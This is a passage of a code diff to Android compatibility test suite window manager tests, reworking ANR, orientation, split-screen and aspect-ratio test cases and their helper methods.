+            getLaunchActivityBuilder()
+                    .setUseInstrumentation()
+                    .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY)
+                    .setWindowingMode(WINDOWING_MODE_FULLSCREEN)
+                    .setIntentFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME).execute();
+            mWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
+        } finally {
+            runWithShellPermission(() -> mAtm.stopSystemLockTaskMode());
+        }
+
+        mBroadcastActionTrigger.finishBroadcastReceiverActivity();
+        mWmState.waitAndAssertActivityRemoved(BROADCAST_RECEIVER_ACTIVITY);
+
+        mWmState.assertHomeActivityVisible(false);
+    }
+
     @Test
     public void testFinishActivityWithMoveTaskToBackAfterPause() {
         performFinishActivityWithMoveTaskToBack(FINISH_POINT_ON_PAUSE);
@@ -563,6 +600,7 @@
     }
 
     @Test
+    @Ignore("Unable to disable AOD for some devices")
     public void testTurnScreenOnWithAttr_Freeform() {
         assumeTrue(supportsLockScreen());
         assumeTrue(supportsFreeform());
@@ -638,7 +676,7 @@
         lockScreenSession.sleepDevice();
         mWmState.waitForAllStoppedActivities();
         separateTestJournal();
-        launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY);
+        launchActivityNoWait(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY);
         mWmState.waitForActivityState(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY, STATE_STOPPED);
         // Display should keep off, because setTurnScreenOn(false) has been called at
         // {@link TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY}'s onStop.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTestsActivity.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTestsActivity.java
index c051817..a4f62fe 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTestsActivity.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTestsActivity.java
@@ -35,14 +35,14 @@
     }
 
     public void hideSystemAlertWindow() {
-        getWindowManager().removeView(mContent);
+        if (mContent != null && mContent.isAttachedToWindow()) {
+            getWindowManager().removeView(mContent);
+        }
     }
 
     @Override
     protected void onDestroy() {
         super.onDestroy();
-        if (mContent != null) {
-            hideSystemAlertWindow();
-        }
+        hideSystemAlertWindow();
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java
index effa21f..91b42dc 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java
@@ -23,17 +23,15 @@
 import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_CREATE_DELAY_MS;
 import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_KEYDOWN_DELAY_MS;
 import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_MOTIONEVENT_DELAY_MS;
-import static android.view.Display.DEFAULT_DISPLAY;
 
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
-import android.app.ActivityTaskManager;
 import android.content.ComponentName;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
-import android.server.wm.app.Components.RenderService;
 import android.provider.Settings;
+import android.server.wm.app.Components.RenderService;
 import android.server.wm.settings.SettingsSession;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
@@ -43,14 +41,16 @@
 import android.util.Log;
 import android.view.KeyEvent;
 
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.filters.FlakyTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 
 import java.util.List;
-
-import androidx.test.filters.FlakyTest;
-import androidx.test.platform.app.InstrumentationRegistry;
+import java.util.concurrent.CountDownLatch;
 
 /**
  * Test scenarios that lead to ANR dialog being shown.
@@ -123,12 +123,11 @@
         startUnresponsiveActivity(EXTRA_ON_MOTIONEVENT_DELAY_MS, true /* waitForCompletion */,
                 UNRESPONSIVE_ACTIVITY);
 
-        // TODO(b/143566069) investigate why we need multiple taps on display to trigger anr.
         mWmState.computeState();
-        tapOnDisplayCenterAsync(DEFAULT_DISPLAY);
-        SystemClock.sleep(1000);
-        tapOnDisplayCenterAsync(DEFAULT_DISPLAY);
-
+        // Tap on the UnresponsiveActivity
+        final WindowManagerState.Task unresponsiveActivityTask =
+                mWmState.getTaskByActivity(UNRESPONSIVE_ACTIVITY);
+        mTouchHelper.tapOnTaskCenterAsync(unresponsiveActivityTask);
         clickCloseAppOnAnrDialog();
         assertEventLogsContainsAnr(UnresponsiveActivity.PROCESS_NAME);
     }
@@ -138,16 +137,19 @@
      */
     @Test
     public void embeddedWindowTriggersAnr() {
-        startUnresponsiveActivity(EXTRA_ON_MOTIONEVENT_DELAY_MS, true  /* waitForCompletion */,
-                HOST_ACTIVITY);
-
-        // TODO(b/143566069) investigate why we need multiple taps on display to trigger anr.
-        mWmState.computeState();
-        tapOnDisplayCenterAsync(DEFAULT_DISPLAY);
-        SystemClock.sleep(1000);
-        tapOnDisplayCenterAsync(DEFAULT_DISPLAY);
-
-        clickCloseAppOnAnrDialog();
+        try (ActivityScenario<HostActivity> scenario =
+                     ActivityScenario.launch(HostActivity.class)) {
+            CountDownLatch[] latch = new CountDownLatch[1];
+            scenario.onActivity(activity -> latch[0] = activity.mEmbeddedViewAttachedLatch);
+            latch[0].await();
+            mWmState.computeState();
+            final WindowManagerState.Task hostActivityTask =
+                    mWmState.getTaskByActivity(new ComponentName("android.server.wm.cts",
+                            "android.server.wm.HostActivity"));
+            mTouchHelper.tapOnTaskCenterAsync(hostActivityTask);
+            clickCloseAppOnAnrDialog();
+        } catch (InterruptedException ignored) {
+        }
         assertEventLogsContainsAnr(RenderService.PROCESS_NAME);
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index 8440bd1..4f03eb2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -48,6 +48,7 @@
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.lessThan;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.fail;
@@ -70,6 +71,7 @@
 import android.server.wm.TestJournalProvider.TestJournalContainer;
 import android.util.DisplayMetrics;
 import android.view.Display;
+import android.window.WindowContainerTransaction;
 
 import org.junit.Test;
 
@@ -119,8 +121,11 @@
 
         separateTestJournal();
         launchActivitiesInSplitScreen(
-                getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+                getLaunchActivityBuilder().setTargetActivity(RESIZEABLE_ACTIVITY)
+                                        .setWindowingMode(WINDOWING_MODE_FULLSCREEN),
+                getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY)
+                                        .setWindowingMode(WINDOWING_MODE_FULLSCREEN));
+
         final SizeInfo dockedSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY);
 
         separateTestJournal();
@@ -203,7 +208,7 @@
             ActivitySessionClient noRelaunchActivityClient, SizeInfo prevSizes) {
         final ActivitySession activitySession = noRelaunchActivityClient.getLastStartedSession();
         final ComponentName activityName = activitySession.getName();
-        final WindowManagerState.ActivityTask task = mWmState.getTaskByActivity(activityName);
+        final WindowManagerState.Task task = mWmState.getTaskByActivity(activityName);
         final int displayId = mWmState.getRootTask(task.mRootTaskId).mDisplayId;
 
         assumeTrue(supportsLockedUserRotation(rotationSession, displayId));
@@ -278,9 +283,13 @@
         final SizeInfo dockedSizes = getLastReportedSizesForActivity(activityName);
         assertSizesAreSane(initialFullscreenSizes, dockedSizes);
 
-        // Restore to fullscreen.
         separateTestJournal();
-        mTaskOrganizer.dismissSplitScreen();
+        // Restore to fullscreen.
+        final int activityTaskId = mWmState.getTaskByActivity(activityName).mTaskId;
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+            .setWindowingMode(mTaskOrganizer.getTaskInfo(activityTaskId).getToken(),
+                WINDOWING_MODE_FULLSCREEN);
+        mTaskOrganizer.dismissSplitScreen(wct, false /* primaryOnTop */);
         // Home task could be on top since it was the top-most task while in split-screen mode
         // (dock task was minimized), start the activity again to ensure the activity is at
         // foreground.
@@ -330,6 +339,8 @@
         SizeInfo reportedSizes = getLastReportedSizesForActivity(PORTRAIT_ORIENTATION_ACTIVITY);
         assertEquals("portrait activity should be in portrait",
                 ORIENTATION_PORTRAIT, reportedSizes.orientation);
+        assertTrue("portrait activity should have height >= width",
+                reportedSizes.heightDp >= reportedSizes.widthDp);
         separateTestJournal();
 
         launchActivity(LANDSCAPE_ORIENTATION_ACTIVITY);
@@ -337,6 +348,8 @@
         reportedSizes = getLastReportedSizesForActivity(LANDSCAPE_ORIENTATION_ACTIVITY);
         assertEquals("landscape activity should be in landscape",
                 ORIENTATION_LANDSCAPE, reportedSizes.orientation);
+        assertTrue("landscape activity should have height < width",
+                reportedSizes.heightDp < reportedSizes.widthDp);
         separateTestJournal();
 
         launchActivity(PORTRAIT_ORIENTATION_ACTIVITY);
@@ -347,19 +360,24 @@
     }
 
     @Test
-    public void testNonfullscreenAppOrientationRequests() {
+    public void testTranslucentAppOrientationRequests() {
         assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
 
+        // Disable fixed to user rotation by creating a rotation session
+        createManagedRotationSession();
+
         separateTestJournal();
         launchActivity(PORTRAIT_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         final SizeInfo initialReportedSizes =
                 getLastReportedSizesForActivity(PORTRAIT_ORIENTATION_ACTIVITY);
         assertEquals("portrait activity should be in portrait",
                 ORIENTATION_PORTRAIT, initialReportedSizes.orientation);
+        assertTrue("portrait activity should have height >= width",
+                initialReportedSizes.heightDp >= initialReportedSizes.widthDp);
         separateTestJournal();
 
         launchActivity(SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-        assertEquals("Legacy non-fullscreen activity requested landscape orientation",
+        assertEquals("Legacy translucent activity requested landscape orientation",
                 SCREEN_ORIENTATION_LANDSCAPE, mWmState.getLastOrientation());
 
         // TODO(b/36897968): uncomment once we can suppress unsupported configurations
@@ -515,17 +533,17 @@
     }
 
     @Test
-    public void testNonFullscreenActivityPermitted() throws Exception {
+    public void testTranslucentActivityPermitted() throws Exception {
         assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
 
         final RotationSession rotationSession = createManagedRotationSession();
         rotationSession.set(ROTATION_0);
 
-        launchActivity(SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY);
+        launchActivity(SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mWmState.assertResumedActivity(
-                "target SDK <= 26 non-fullscreen activity should be allowed to launch",
+                "target SDK <= 26 translucent activity should be allowed to launch",
                 SDK26_TRANSLUCENT_LANDSCAPE_ACTIVITY);
-        assertEquals("non-fullscreen activity requested landscape orientation",
+        assertEquals("translucent activity requested landscape orientation",
                 SCREEN_ORIENTATION_LANDSCAPE, mWmState.getLastOrientation());
     }
 
@@ -752,7 +770,7 @@
 
         launchActivity(PORTRAIT_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mWmState.assertVisibility(PORTRAIT_ORIENTATION_ACTIVITY, true /* visible */);
-        final SizeInfo initialSize = getLastReportedSizesForActivity(PORTRAIT_ORIENTATION_ACTIVITY);
+        final SizeInfo initialSize = activitySession.getConfigInfo().sizeInfo;
 
         // Rotate the display and check that the orientation doesn't change
         rotationSession.set(ROTATION_0);
@@ -778,6 +796,9 @@
     public void testTaskMoveToBackOrientation() {
         assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
 
+        // Disable fixed to user rotation by creating a rotation session
+        createManagedRotationSession();
+
         // Start landscape activity.
         launchActivity(LANDSCAPE_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
         mWmState.assertVisibility(LANDSCAPE_ORIENTATION_ACTIVITY, true /* visible */);
@@ -806,11 +827,8 @@
      */
     @Test
     public void testSplitscreenPortraitAppOrientationRequests() throws Exception {
-        assumeTrue("Skipping test: no rotation support", supportsRotation());
-        assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
-
         requestOrientationInSplitScreen(createManagedRotationSession(),
-                ROTATION_90 /* portrait */, LANDSCAPE_ORIENTATION_ACTIVITY);
+                isDisplayPortrait() ? ROTATION_0 : ROTATION_90, LANDSCAPE_ORIENTATION_ACTIVITY);
     }
 
     /**
@@ -818,37 +836,37 @@
      */
     @Test
     public void testSplitscreenLandscapeAppOrientationRequests() throws Exception {
-        assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
-
         requestOrientationInSplitScreen(createManagedRotationSession(),
-                ROTATION_0 /* landscape */, PORTRAIT_ORIENTATION_ACTIVITY);
+                isDisplayPortrait() ? ROTATION_90 : ROTATION_0, PORTRAIT_ORIENTATION_ACTIVITY);
     }
 
     /**
-     * Rotate the device and launch specified activity in split-screen, checking if orientation
-     * didn't change.
+     * Launch specified activity in split-screen then rotate the divice, checking orientation
+     * should always change by the device rotation.
      */
-    private void requestOrientationInSplitScreen(RotationSession rotationSession, int orientation,
+    private void requestOrientationInSplitScreen(RotationSession rotationSession, int rotation,
             ComponentName activity) throws Exception {
+        assumeTrue("Skipping test: no rotation support", supportsRotation());
         assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
 
-        // Set initial orientation.
-        rotationSession.set(orientation);
-
-        // Launch activities that request orientations and check that device doesn't rotate.
+        // Launch activities in split screen.
         launchActivitiesInSplitScreen(
                 getLaunchActivityBuilder().setTargetActivity(LAUNCHING_ACTIVITY),
-                getLaunchActivityBuilder().setTargetActivity(activity).setMultipleTask(true));
-
+                getLaunchActivityBuilder().setTargetActivity(activity));
         mWmState.assertVisibility(activity, true /* visible */);
-        assertEquals("Split-screen apps shouldn't influence device orientation",
-                orientation, mWmState.getRotation());
 
+        // Rotate the device and it should always rotate regardless orientation app requested.
+        rotationSession.set(rotation);
+        assertEquals("Split-screen apps shouldn't influence device orientation",
+                rotation, mWmState.getRotation());
+
+        // Launch target activity during split-screen again and check orientation still not change.
+        mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
         getLaunchActivityBuilder().setMultipleTask(true).setTargetActivity(activity).execute();
         mWmState.computeState(activity);
         mWmState.assertVisibility(activity, true /* visible */);
         assertEquals("Split-screen apps shouldn't influence device orientation",
-                orientation, mWmState.getRotation());
+                rotation, mWmState.getRotation());
     }
 
     /**
@@ -938,7 +956,8 @@
         final ActivitySession activitySession = createManagedActivityClientSession()
                 .startActivity(getLaunchActivityBuilder()
                         .setUseInstrumentation()
-                        .setTargetActivity(RESIZEABLE_ACTIVITY));
+                        .setTargetActivity(RESIZEABLE_ACTIVITY)
+                        .setWindowingMode(WINDOWING_MODE_FULLSCREEN));
         putActivityInPrimarySplit(RESIZEABLE_ACTIVITY);
         SizeInfo dockedActivitySizes = getActivitySizeInfo(activitySession);
         SizeInfo applicationSizes = getAppSizeInfo(activitySession);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AspectRatioTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AspectRatioTests.java
index 4112542..38b3ed7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AspectRatioTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AspectRatioTests.java
@@ -16,19 +16,24 @@
 
 package android.server.wm;
 
+import static android.server.wm.app.Components.MAX_ASPECT_RATIO_ACTIVITY;
+import static android.server.wm.app.Components.MAX_ASPECT_RATIO_RESIZABLE_ACTIVITY;
+import static android.server.wm.app.Components.MAX_ASPECT_RATIO_UNSET_ACTIVITY;
+import static android.server.wm.app.Components.META_DATA_MAX_ASPECT_RATIO_ACTIVITY;
+import static android.server.wm.app.Components.MIN_ASPECT_RATIO_ACTIVITY;
+import static android.server.wm.app.Components.MIN_ASPECT_RATIO_LANDSCAPE_ACTIVITY;
+import static android.server.wm.app.Components.MIN_ASPECT_RATIO_PORTRAIT_ACTIVITY;
+import static android.server.wm.app.Components.MIN_ASPECT_RATIO_UNSET_ACTIVITY;
+
 import static org.hamcrest.Matchers.greaterThan;
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.lessThanOrEqualTo;
 import static org.junit.Assert.assertThat;
 import static org.junit.Assume.assumeThat;
 
-import android.app.Activity;
 import android.platform.test.annotations.Presubmit;
 import android.view.Display;
 
-import androidx.test.rule.ActivityTestRule;
-
-import org.junit.Rule;
 import org.junit.Test;
 
 /**
@@ -44,95 +49,11 @@
     // The min. aspect ratio the test activities are using.
     private static final float MIN_ASPECT_RATIO = 3.0f;
 
-    // Test target activity that has maxAspectRatio="true" and resizeableActivity="false".
-    public static class MaxAspectRatioActivity extends Activity {
-    }
-
-    // Test target activity that has maxAspectRatio="1.0" and resizeableActivity="true".
-    public static class MaxAspectRatioResizeableActivity extends Activity {
-    }
-
-    // Test target activity that has no maxAspectRatio defined and resizeableActivity="false".
-    public static class MaxAspectRatioUnsetActivity extends Activity {
-    }
-
-    // Test target activity that has maxAspectRatio defined as
-    //   <meta-data android:name="android.max_aspect" android:value="1.0" />
-    // and resizeableActivity="false".
-    public static class MetaDataMaxAspectRatioActivity extends Activity {
-    }
-
-    // Test target activity that has minAspectRatio="true" and resizeableActivity="false".
-    public static class MinAspectRatioActivity extends Activity {
-    }
-
-    // Test target activity that has minAspectRatio="5.0" and resizeableActivity="true".
-    public static class MinAspectRatioResizeableActivity extends Activity {
-    }
-
-    // Test target activity that has no minAspectRatio defined and resizeableActivity="false".
-    public static class MinAspectRatioUnsetActivity extends Activity {
-    }
-
-    // Test target activity that has minAspectRatio="true", resizeableActivity="false",
-    // and screenOrientation="landscape".
-    public static class MinAspectRatioLandscapeActivity extends Activity {
-    }
-
-    // Test target activity that has minAspectRatio="true", resizeableActivity="false",
-    // and screenOrientation="portrait".
-    public static class MinAspectRatioPortraitActivity extends Activity {
-    }
-
-    @Rule
-    public ActivityTestRule<MaxAspectRatioActivity> mMaxAspectRatioActivity =
-            new ActivityTestRule<>(MaxAspectRatioActivity.class,
-                    false /* initialTouchMode */, false /* launchActivity */);
-
-    @Rule
-    public ActivityTestRule<MaxAspectRatioResizeableActivity> mMaxAspectRatioResizeableActivity =
-            new ActivityTestRule<>(MaxAspectRatioResizeableActivity.class,
-                    false /* initialTouchMode */, false /* launchActivity */);
-
-    @Rule
-    public ActivityTestRule<MetaDataMaxAspectRatioActivity> mMetaDataMaxAspectRatioActivity =
-            new ActivityTestRule<>(MetaDataMaxAspectRatioActivity.class,
-                    false /* initialTouchMode */, false /* launchActivity */);
-
-    @Rule
-    public ActivityTestRule<MaxAspectRatioUnsetActivity> mMaxAspectRatioUnsetActivity =
-            new ActivityTestRule<>(MaxAspectRatioUnsetActivity.class,
-                    false /* initialTouchMode */, false /* launchActivity */);
-
-    @Rule
-    public ActivityTestRule<MinAspectRatioActivity> mMinAspectRatioActivity =
-            new ActivityTestRule<>(MinAspectRatioActivity.class,
-                    false /* initialTouchMode */, false /* launchActivity */);
-
-    @Rule
-    public ActivityTestRule<MinAspectRatioResizeableActivity> mMinAspectRatioResizeableActivity =
-            new ActivityTestRule<>(MinAspectRatioResizeableActivity.class,
-                    false /* initialTouchMode */, false /* launchActivity */);
-
-    @Rule
-    public ActivityTestRule<MinAspectRatioUnsetActivity> mMinAspectRatioUnsetActivity =
-            new ActivityTestRule<>(MinAspectRatioUnsetActivity.class,
-                    false /* initialTouchMode */, false /* launchActivity */);
-
-    @Rule
-    public ActivityTestRule<MinAspectRatioLandscapeActivity> mMinAspectRatioLandscapeActivity =
-            new ActivityTestRule<>(MinAspectRatioLandscapeActivity.class,
-                    false /* initialTouchMode */, false /* launchActivity */);
-
-    @Rule
-    public ActivityTestRule<MinAspectRatioPortraitActivity> mMinAspectRatioPortraitActivity =
-            new ActivityTestRule<>(MinAspectRatioPortraitActivity.class,
-                    false /* initialTouchMode */, false /* launchActivity */);
-
     @Test
     public void testMaxAspectRatio() {
         // Activity has a maxAspectRatio, assert that the actual ratio is less than that.
-        runAspectRatioTest(mMaxAspectRatioActivity, (actual, displayId, size) -> {
+        runAspectRatioTest(MAX_ASPECT_RATIO_ACTIVITY,
+                (actual, displayId, activitySize, displaySize) -> {
             assertThat(actual, lessThanOrEqualTo(MAX_ASPECT_RATIO));
         });
     }
@@ -140,7 +61,8 @@
     @Test
     public void testMetaDataMaxAspectRatio() {
         // Activity has a maxAspectRatio, assert that the actual ratio is less than that.
-        runAspectRatioTest(mMetaDataMaxAspectRatioActivity, (actual, displayId, size) -> {
+        runAspectRatioTest(META_DATA_MAX_ASPECT_RATIO_ACTIVITY,
+                (actual, displayId, activitySize, displaySize) -> {
             assertThat(actual, lessThanOrEqualTo(MAX_ASPECT_RATIO));
         });
     }
@@ -148,11 +70,13 @@
     @Test
     public void testMaxAspectRatioResizeableActivity() {
         // Since this activity is resizeable, its max aspect ratio should be ignored.
-        runAspectRatioTest(mMaxAspectRatioResizeableActivity, (actual, displayId, size) -> {
+        runAspectRatioTest(MAX_ASPECT_RATIO_RESIZABLE_ACTIVITY,
+                (actual, displayId, activitySize, displaySize) -> {
             // TODO(b/69982434): Add ability to get native aspect ratio non-default display.
             assumeThat(displayId, is(Display.DEFAULT_DISPLAY));
 
-            final float defaultDisplayAspectRatio = getDefaultDisplayAspectRatio();
+            final float defaultDisplayAspectRatio =
+                    getDisplayAspectRatio(MAX_ASPECT_RATIO_RESIZABLE_ACTIVITY);
             assertThat(actual, greaterThanOrEqualToInexact(defaultDisplayAspectRatio));
         });
     }
@@ -161,60 +85,75 @@
     public void testMaxAspectRatioUnsetActivity() {
         // Since this activity didn't set an explicit maxAspectRatio, there should be no such
         // ratio enforced.
-        runAspectRatioTest(mMaxAspectRatioUnsetActivity, (actual, displayId, size) -> {
+        runAspectRatioTest(MAX_ASPECT_RATIO_UNSET_ACTIVITY,
+                (actual, displayId, activitySize, displaySize) -> {
             // TODO(b/69982434): Add ability to get native aspect ratio non-default display.
             assumeThat(displayId, is(Display.DEFAULT_DISPLAY));
 
-            assertThat(actual, greaterThanOrEqualToInexact(getDefaultDisplayAspectRatio()));
+            assertThat(actual, greaterThanOrEqualToInexact(
+                    getDisplayAspectRatio(MAX_ASPECT_RATIO_UNSET_ACTIVITY)));
         });
     }
 
     @Test
     public void testMinAspectRatio() {
         // Activity has a minAspectRatio, assert the ratio is at least that.
-        runAspectRatioTest(mMinAspectRatioActivity, (actual, displayId, size) -> {
+        runAspectRatioTest(MIN_ASPECT_RATIO_ACTIVITY,
+                (actual, displayId, activitySize, displaySize) -> {
             assertThat(actual, greaterThanOrEqualToInexact(MIN_ASPECT_RATIO));
         });
     }
 
     @Test
-    public void testMinAspectRatioResizeableActivity() {
-        // Since this activity is resizeable, the minAspectRatio should be ignored.
-        runAspectRatioTest(mMinAspectRatioResizeableActivity, (actual, displayId, size) -> {
-            // TODO(b/69982434): Add ability to get native aspect ratio non-default display.
-            assumeThat(displayId, is(Display.DEFAULT_DISPLAY));
-
-            assertThat(actual, lessThanOrEqualToInexact(getDefaultDisplayAspectRatio()));
-        });
-    }
-
-    @Test
     public void testMinAspectRatioUnsetActivity() {
         // Since this activity didn't set an explicit minAspectRatio, there should be no such
         // ratio enforced.
-        runAspectRatioTest(mMinAspectRatioUnsetActivity, (actual, displayId, size) -> {
+        runAspectRatioTest(MIN_ASPECT_RATIO_UNSET_ACTIVITY,
+                (actual, displayId, activitySize, displaySize) -> {
             // TODO(b/69982434): Add ability to get native aspect ratio non-default display.
             assumeThat(displayId, is(Display.DEFAULT_DISPLAY));
 
-            assertThat(actual, lessThanOrEqualToInexact(getDefaultDisplayAspectRatio()));
+            assertThat(actual, lessThanOrEqualToInexact(
+                    getDisplayAspectRatio(MIN_ASPECT_RATIO_UNSET_ACTIVITY)));
         });
     }
 
     @Test
     public void testMinAspectLandscapeActivity() {
         // Activity has requested a fixed orientation, assert the orientation is that.
-        runAspectRatioTest(mMinAspectRatioLandscapeActivity, (actual, displayId, size) -> {
-            assertThat(actual, greaterThanOrEqualToInexact(MIN_ASPECT_RATIO));
-            assertThat(size.x, greaterThan(size.y));
+        runAspectRatioTest(MIN_ASPECT_RATIO_LANDSCAPE_ACTIVITY,
+                (actual, displayId, activitySize, displaySize) -> {
+            assertThat(activitySize.x, greaterThan(activitySize.y));
+            // Since activities must fit within the bounds of the display and they should respect
+            // the minimal size, there is an aspect ratio limit that an activity cannot exceed even
+            // if set in the app manifest. In such scenarios, we won't expect the aspect ratio to
+            // be respected.
+            int maxAspectRatioForDisplay = displaySize.x
+                    / getMinimalTaskSize(MIN_ASPECT_RATIO_LANDSCAPE_ACTIVITY);
+            if (MIN_ASPECT_RATIO <= maxAspectRatioForDisplay) {
+                // The display size is large enough to support the desired aspect ratio
+                // without violating the minimal size restriction.
+                assertThat(actual, greaterThanOrEqualToInexact(MIN_ASPECT_RATIO));
+            }
         });
     }
 
     @Test
     public void testMinAspectPortraitActivity() {
-        // Activity has requested a fixed orientation, assert the orientation is that.
-        runAspectRatioTest(mMinAspectRatioPortraitActivity, (actual, displayId, size) -> {
-            assertThat(actual, greaterThanOrEqualToInexact(MIN_ASPECT_RATIO));
-            assertThat(size.y, greaterThan(size.x));
+        runAspectRatioTest(MIN_ASPECT_RATIO_PORTRAIT_ACTIVITY,
+                (actual, displayId, activitySize, displaySize) -> {
+            assertThat(activitySize.y, greaterThan(activitySize.x));
+            // Since activities must fit within the bounds of the display and they should respect
+            // the minimal size, there is an aspect ratio limit that an activity cannot exceed even
+            // if set in the app manifest. In such scenarios, we won't expect the aspect ratio to
+            // be respected.
+            int maxAspectRatioForDisplay = displaySize.y
+                    / getMinimalTaskSize(MIN_ASPECT_RATIO_PORTRAIT_ACTIVITY);
+            if (MIN_ASPECT_RATIO <= maxAspectRatioForDisplay) {
+                // The display size is large enough to support the desired aspect ratio
+                // without violating the minimal size restriction.
+                assertThat(actual, greaterThanOrEqualToInexact(MIN_ASPECT_RATIO));
+            }
         });
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AspectRatioTestsBase.java b/tests/framework/base/windowmanager/src/android/server/wm/AspectRatioTestsBase.java
index 47215f5..96cf5c2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AspectRatioTestsBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AspectRatioTestsBase.java
@@ -22,7 +22,9 @@
 import static org.hamcrest.Matchers.lessThanOrEqualTo;
 
 import android.app.Activity;
+import android.content.ComponentName;
 import android.graphics.Point;
+import android.graphics.Rect;
 import android.view.Display;
 import android.view.WindowManager;
 
@@ -33,13 +35,32 @@
 import org.hamcrest.Matcher;
 import org.junit.Before;
 
-class AspectRatioTestsBase {
+class AspectRatioTestsBase extends ActivityManagerTestBase {
     // The delta allowed when comparing two floats for equality. We consider them equal if they are
     // within two significant digits of each other.
     private static final float FLOAT_EQUALITY_DELTA = .01f;
 
     interface AssertAspectRatioCallback {
-        void assertAspectRatio(float actual, int displayId, Point size);
+        void assertAspectRatio(float actual, int displayId, Point activitySize, Point displaySize);
+    }
+
+    void runAspectRatioTest(final ComponentName componentName,
+            final AssertAspectRatioCallback callback) {
+        launchActivity(componentName);
+        mWmState.computeState();
+
+        final int displayId = mWmState.getDisplayByActivity(componentName);
+        final WindowManagerState.Activity activity = mWmState.getActivity(componentName);
+        final WindowManagerState.DisplayContent display = mWmState.getDisplay(displayId);
+
+        final Rect bounds = activity.getAppBounds();
+        final int shortSide = Math.min(bounds.width(), bounds.height());
+        final int longSide = Math.max(bounds.width(), bounds.height());
+        final float actualAspectRatio = (float) longSide / (float) shortSide;
+
+        callback.assertAspectRatio(actualAspectRatio, display.mId,
+                new Point(bounds.width(), bounds.height()),
+                new Point(display.getAppRect().width(), display.getAppRect().height()));
     }
 
     void runAspectRatioTest(final ActivityTestRule activityRule,
@@ -47,9 +68,12 @@
         final Activity activity = launchActivity(activityRule);
         PollingCheck.waitFor(activity::hasWindowFocus);
         try {
+            final Point displaySize = new Point();
+            getDisplay(activity).getSize(displaySize);
             callback.assertAspectRatio(getActivityAspectRatio(activity),
                     getDisplay(activity).getDisplayId(),
-                    getActivitySize(activity));
+                    getActivitySize(activity),
+                    displaySize);
         } finally {
             finishActivity(activityRule);
         }
@@ -72,6 +96,21 @@
         UiDeviceUtils.pressUnlockButton();
     }
 
+    float getDisplayAspectRatio(ComponentName componentName) {
+        final int displayId = mWmState.getDisplayByActivity(componentName);
+        final WindowManagerState.DisplayContent display = mWmState.getDisplay(displayId);
+
+        final Rect appRect = display.getAppRect();
+        final int shortSide = Math.min(appRect.width(), appRect.height());
+        final int longSide = Math.max(appRect.width(), appRect.height());
+        return (float) longSide / (float) shortSide;
+    }
+
+    int getMinimalTaskSize(ComponentName componentName) {
+        final int displayId = mWmState.getDisplayByActivity(componentName);
+        return mWmState.defaultMinimalTaskSize(displayId);
+    }
+
     static float getDefaultDisplayAspectRatio() {
         return getAspectRatio(getInstrumentation().getContext().getSystemService(
                 WindowManager.class).getDefaultDisplay());
@@ -112,10 +151,6 @@
         }
